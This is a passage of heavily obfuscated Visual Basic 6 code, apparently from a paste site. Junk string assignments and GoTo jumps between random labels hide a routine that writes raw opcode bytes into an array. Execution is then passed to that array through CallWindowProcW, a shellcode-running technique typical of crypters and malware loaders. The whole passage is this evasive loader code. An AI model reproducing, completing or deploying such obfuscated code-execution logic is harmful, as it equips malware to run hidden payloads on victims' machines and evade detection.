  421. nomrcjqGhhwmphFjNtiCtkxHrqeeFNaCVBZr = "rpjByUEURduvQRbz"
  422. GoTo zROlHglitwLhirBwpIcvqfKTUSIBJnAzPTVNnCuiPSnPTi
  423. BZrDrpjByUEPURduvQRbgJZFLfndIDECHslQxjzDFxQzeOJyS:
  424. Call N3I5y(&HC3, i)
  425. GoTo ANZHGugHeqEmDptTHzROlHglitwLhirBwpIcvqfKTUS
  426. IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM:
  427. Call N3I5y(d5g0K.B1, i):  Call N3I5y(d5g0K.B2, i)
  428. GoTo sZtyGvckljoLSDQPgkneDSLdfAdhvraoNNoxJ
  429. IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRMsZtyGvckljoLS:
  430. YwokwMcxluRMqsZtyG = "ckljoSaDQPgkn"
  431. GoTo DQPgkneDSLdfAdhvraoNNoxJFlIbAbmgyiEo
  432. FlIbAbmgyiEoEAMdszBKidGIpvOMsnomrcjqGhhwmphFjNL:
  433. DSLvdfAdhvraoNN = "xJmFIbA"
  434. GoTo iCtkxHrqeeFNaCBZrDrpjByUEPURduvQRbgJZFLfndIDECHsl
  435. ROlHglitwLhirBwpIcvqfKTUS:
  436. JZFLfndIDECHslsxjzDFxQzeOJySJANZHGu = "HeqmDptTHF"
  437. GoTo VPifBYwokwMcxluRMsZtyGvckljoLS
  438. EAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaCBZrDrpjByUEPURduvQRb:
  439. mgyiEoyEAMdszBK = "dGIvOQM"
  440. GoTo gJZFLfndIDECHslQxjzDFxQzeOJySANZHGugHeqEmDptTH
  441. QxjzDFxQzeOJySANZHGugHeqEmDptTH:
  442. d5g0K = D3N8K(t4k6A)
  443. GoTo zROlHglitwLhirBwpIcvqfKTUS
  444. DQPgkneDSLdfAdhvraoNNoxJFlIbAbmgyiEo:
  445. DSLvdfAdhvraoNN = "xJmFIbA"
  446. GoTo EAMdszBKidGIpvOMsnomrcjqGhhwmphFjNLiCtkxHrqeeFNaCBZrDrpjByUEPURduvQRb
  447. zROlHglitwLhirBwpIcvqfKTUS:
  448. Call N3I5y(&HB8, i)
  449. GoTo IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKkVPifBYwokwMcxluRM
  450. IBJnAzPTVNnCufMOjLQfJQKxYutVCTGKk:
  451. s6F0Y = CallWindowProcW(VarPtr(m8v8A(0)))
  452. End If
  453. End Function
  454. Private Sub N3I5y(ByVal X1p7M As Byte, ByRef iCounter As Long)
  455. GoTo DRnpyHCgwOjCwmR:
  456. dUtIBlSVqS:
  457. BQYiFmPfLSltjOJKIN = "szeEpF"
  458. GoTo lvQeQDfBzcJbMQqQcVol
  459. lvQeQDfBzcJbMQqQcVol:
  460. xkkLThIcHgxJxvpHE = "KVYj"
  461. GoTo eCurCTiDrAZTwyfzE
  462. BkmGjnByhuTTvDPsLrP:
  463. m8v8A(iCounter) = X1p7M
  464. GoTo HhsmEoKuFLH
  465. kyGHRpkNOvBUdSytusx:
  466. GoTo pwMonDtvnMp
  467. pwMonDtvnMp:
  468. TjnqiGVOygjDgkyuerQQ = "AMpIoeDepjBlH"
  469. GoTo RAoJzqEOxxkkLThIcHg
  470. JxvpHEbKVcYjABQ:
  471. xkkLThIcHgxJxvpHE = "KVYj"
  472. GoTo iFmPfLSltjOJKINzszeE
  473. FJMDdFlUQFaPG:
  474. MDdFlUQFaPGUfNNAnNk = "LtKwAaLFYUrNmso"
  475. GoTo bZePIPuGGV
  476. eCurCTiDrAZTwyfzE:
  477. CHEPhvDENmgJLsyRavqrpufmtJkkAqskJmQO = "oJzqEO"
  478. GoTo CirrqvRZgKYQnqtlJZ
  479. CirrqvRZgKYQnqtlJZ:
  480. TjnqiGVOygjDgkyuerQQ = "AMpIoeDepjBlH"
  481. GoTo BkmGjnByhuTTvDPsLrP
  482. iFmPfLSltjOJKINzszeE:
  483. BQYiFmPfLSltjOJKIN = "szeEpF"
  484. GoTo FJMDdFlUQFaPG
  485. DRnpyHCgwOjCwmR:
  486. MDdFlUQFaPGUfNNAnNk = "LtKwAaLFYUrNmso"
  487. GoTo dUtIBlSVqS
  488. HhsmEoKuFLH:
  489. iCounter = iCounter + 1
  490. GoTo kyGHRpkNOvBUdSytusx
  491. RAoJzqEOxxkkLThIcHg:
  492. CHEPhvDENmgJLsyRavqrpufmtJkkAqskJmQO = "oJzqEO"
  493. GoTo JxvpHEbKVcYjABQ
  494. bZePIPuGGV:
  495. End Sub
  496. Private Function D3N8K(ByVal S3t0P As Long) As V5k0U
  497. Dim d0u7C                      As i4U2g
  498. GoTo wqIrNxIOKVnC:
  499. CtHRAAnnOQkLgKjAMB:
  500. ThUGiECfMePTuTfZr = "LhFy"
  501. GoTo sKHfOZfbmDEaclI
  502. yuFQlGuEcQABiCHP:
  503. ThUGiECfMePTuTfZr = "LhFy"
  504. GoTo luutyUcjNbaqtwoM
  505. zQrqGwzqPsYVDs:
  506. FQlGuEcQABiCHPFlu = "tyUcj"
  507. GoTo CtHRAAnnOQkLgKjAMB
  508. ChHtIMPHgJoYTI:
  509. d0u7C.a8T7w = S3t0P
  510. GoTo SJYiQQDqRo
  511. wqIrNxIOKVnC:
  512. baqtwoMcUEnpJmrEBkx = "QyGTvOuSkK"
  513. GoTo zQrqGwzqPsYVDs
  514. SJYiQQDqRo:
  515. LSet D3N8K = d0u7C
  516. GoTo OwNzDdROIbYvQpvDGUqsBLGjzRmF
  517. luutyUcjNbaqtwoM:
  518. FQlGuEcQABiCHPFlu = "tyUcj"
  519. GoTo UEnpJmrEBkQQyGTvOuSkKlwqI
  520. PTuTfZroLh:
  521. pUeediSLSxKJadgYwL = "oQZtVao"
  522. GoTo yuFQlGuEcQABiCHP
  523. OwNzDdROIbYvQpvDGUqsBLGjzRmF:
  524. GoTo pUeediSLSxKJadgwLEoQZtVaoyThUGiECfM
  525. sKHfOZfbmDEaclI:
  526. pUeediSLSxKJadgYwL = "oQZtVao"
  527. GoTo SjPVpxmRNNMQC
  528. UEnpJmrEBkQQyGTvOuSkKlwqI:
  529. baqtwoMcUEnpJmrEBkx = "QyGTvOuSkK"
  530. GoTo KUsnQSyFZgVBwxvAm
  531. SjPVpxmRNNMQC:
  532. oAOwNzDdROIbYvQpvrDG = "qsBLGjzRmF"
  533. GoTo ChHtIMPHgJoYTI
  534. pUeediSLSxKJadgwLEoQZtVaoyThUGiECfM:
  535. oAOwNzDdROIbYvQpvrDG = "qsBLGjzRmF"
  536. GoTo PTuTfZroLh
  537. KUsnQSyFZgVBwxvAm:
  538. End Function
Add Comment
Please, Sign In to add comment